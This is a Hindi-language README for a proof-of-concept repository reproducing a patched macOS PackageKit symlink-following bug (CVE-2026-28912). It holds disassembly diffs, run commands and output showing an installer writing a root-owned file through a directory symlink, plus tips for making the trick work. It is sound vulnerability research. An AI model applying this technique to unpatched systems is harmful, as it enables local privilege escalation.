
macOS PackageKit symlink-following बग (CVE-2026-28912) के लिए रिवर्स इंजीनियरिंग नोट्स और एक कार्यशील PoC, साथ में 26.6 फिक्स का डिसअसेंबली डिफ।
macOS PackageKit सिमलिंक-फॉलोइंग बग (CVE-2026-28912) की स्वतंत्र रिवर्स इंजीनियरिंग, साथ ही एक कार्यशील PoC जो यह प्रदर्शित करता है कि इंस्टॉलर इंस्टॉल गंतव्य पथ में एक डायरेक्टरी सिमलिंक के माध्यम से हमलावर-नियंत्रित फ़ाइल को root के रूप में लिखता है।
यह बग PKCoreShove के फ़ाइल-रीलिंक लॉजिक में एक अनसिंक्रोनाइज़्ड पथ वॉक है। एक दुर्भावनापूर्ण .pkg एक अपरिविलेज्ड डायरेक्टरी में गंतव्य पथ घोषित कर सकता है, पथ घटकों में से एक पर एक डायरेक्टरी सिमलिंक रख सकता है जो एक विशेषाधिकार प्राप्त स्थान की ओर इंगित करता है, और इंस्टॉलर — जो root के रूप में चल रहा है — को सिमलिंक लक्ष्य में लिखने का कारण बन सकता है। Apple का 26.6 फिक्स _PKSIPOpenPathSafely जोड़ता है जो प्रत्येक पथ घटक को O_NOFOLLOW के साथ वॉक करता है और किसी भी सिमलिंक को अस्वीकार करता है।
| फ़ील्ड | मान |
|---|---|
| CVE | CVE-2026-28912 |
| घटक | PackageKit (PKCoreShove, PKBundleComponent) |
| प्रभावित | macOS Tahoe 26.5 और पहले |
| पैच किया गया | macOS Tahoe 26.6 |
| एडवाइज़री प्रभाव | "एक ऐप root विशेषाधिकार प्राप्त कर सकता है।" |
| CVSS v3.1 | 7.8 (उच्च) |
| रिपोर्ट किया गया | Apple की एडवाइज़री के अनुसार मूल खोजकर्ताओं द्वारा |
CVE-2026-28912 के लिए Apple की एडवाइज़री प्रभाव और पैच किए गए संस्करण का दस्तावेज़ीकरण करती है। यह तकनीकी तंत्र का दस्तावेज़ीकरण नहीं करती:
लेखन के समय कोई सार्वजनिक तकनीकी राइटअप नहीं मिला। यह रिपॉज़िटरी 26.4 और 26.6 के बीच PackageKit के स्वतंत्र रिवर्स इंजीनियरिंग विश्लेषण और एक कार्यशील PoC के साथ उस अंतराल को भरती है जो इस आदिम को लाइव प्रदर्शित करता है।
यह खोज का दावा नहीं है। CVE को मूल खोजकर्ताओं द्वारा रिपोर्ट किया गया था और Apple द्वारा पैच किया गया था। यहाँ योगदान तकनीकी विश्लेषण और पुनरुत्पादन है।
macOS 26.4 में PKCoreShove _relinkFile:dest: फ़ाइल बनाते समय गंतव्य पथ को घटक-दर-घटक वॉक करता है:
; macOS 26.4, PackageKit
1a9fb14f8 _relinkFile:dest:
...
bl _linkResolutionProhibitted ; returns 0 in the normal case
mov w8, 0x10 ; RENAME_NOFOLLOW_ANY
cmp w0, 0
csel w22, w8, wzr, ne ; w22 = 0x10 if prohibited, else 0
...
mov x2, x22
bl _renamex_np ; uses w22 as flags
_linkResolutionProhibitted 0 (false) लौटाता है जब कॉलिंग प्रक्रिया SIP फ़ाइलों को संशोधित नहीं कर सकती — उपयोगकर्ता-आरंभित इंस्टॉल के लिए सामान्य स्थिति। यह RENAME_NOFOLLOW_ANY को अक्षम कर देता है, इसलिए रीनेम गंतव्य पथ में किसी भी सिमलिंक का अनुसरण करता है।
26.6 फिक्स _PKSIPOpenPathSafely जोड़ता है, जिसे PKBundleComponent initWithBundleAtPath:relativeToDestination: से कॉल किया जाता है:
; macOS 26.6, PackageKit
1aa6dfe18 bl _PKSIPOpenPathSafely ; walks each component with O_NOFOLLOW
_PKSIPOpenPathSafely:
कोई भी घटक जो इच्छित पथ के बाहर इंगित करने वाला सिमलिंक है, EPERM या ELOOP के साथ अस्वीकार कर दिया जाता है, और इंस्टॉल विफल हो जाता है।
पूर्ण राइटअप के लिए docs/ANALYSIS.md और पते व लॉग नमूनों के लिए docs/ARTIFACTS.md देखें।
link.sh — एक एकल-फ़ाइल, स्व-निहित PoC:
प्रदर्शित प्रभाव सिमलिंक-फॉलोइंग आदिम है — ठीक वही व्यवहार जिसे 26.6 फिक्स बंद करता है।
PoC पूरी तरह से लक्ष्य पर चलता है। सिमलिंक और पेलोड दोनों स्थानीय रूप से बनाए जाते हैं। यह PoC को किसी भी नेटवर्क कॉन्फ़िगरेशन के बिना स्व-निहित और पुनरुत्पादनीय रखता है।
chmod +x link.sh
./link.sh
पर्यावरण चर के माध्यम से वैकल्पिक ट्यूनिंग:
sudo CONTENT="test content" ./link.sh
CONTENT सिमलिंक के माध्यम से लिखी जाने वाली सामग्री सेट करता है। डिफ़ॉल्ट रूप से यह hello है।
[*] System information:
ProductName: macOS
ProductVersion: 26.4
BuildVersion: 25E246
[*] Setup...
Symlink: /Users/nerd/cve-poc/target → /Users/nerd/cve-poc/real
[*] Build .pkg...
Payload: /Users/nerd/cve-poc/payload/Users/nerd/cve-poc/target/poc.txt
Package: /Users/nerd/cve-poc/poc.pkg
[*] Install (password prompt expected)...
installer: Package name is poc
installer: Installing at base path /
installer: The install was successful.
[✓] VULNERABILITY CONFIRMED
Landed at /Users/nerd/cve-poc/real/poc.txt
Owner: root:wheel
Content: hello
CVE-2026-28912 trigger SUCCESSFUL
पैच किए गए सिस्टम (26.6) पर, वही PoC विफल हो जाता है:
[✗] Not triggered
No file was created in /Users/nerd/cve-poc/real/
डिसअसेम्बली तुलना के लिए docs/PATCH_DIFF.md देखें।
PoC में दो विवरण विकास के दौरान खोजे गए और यहाँ प्रलेखित हैं ताकि समान टूलींग बनाने वाले अन्य लोग इनसे न टकराएँ:
सिमलिंक उस पथ घटक पर होना चाहिए जिस पर इंस्टॉलर चलता है। गंतव्य लीफ पर फ़ाइल-स्तरीय सिमलिंक renamex_np द्वारा प्रतिस्थापित किया जाता है; केवल पथ के बीच में डायरेक्टरी सिमलिंक का अनुसरण किया जाता है।
पेलोड पथ को गंतव्य पथ को प्रतिबिंबित करना चाहिए। pkgbuild --install-location / के साथ, पेलोड पथ गंतव्य पथ है जिसमें से अग्रणी / हटा दिया गया है। यदि वे मेल नहीं खाते, तो इंस्टॉलर कभी भी सिमलिंक के माध्यम से नहीं चलता।
दोनों docs/ANALYSIS.md में प्रलेखित हैं।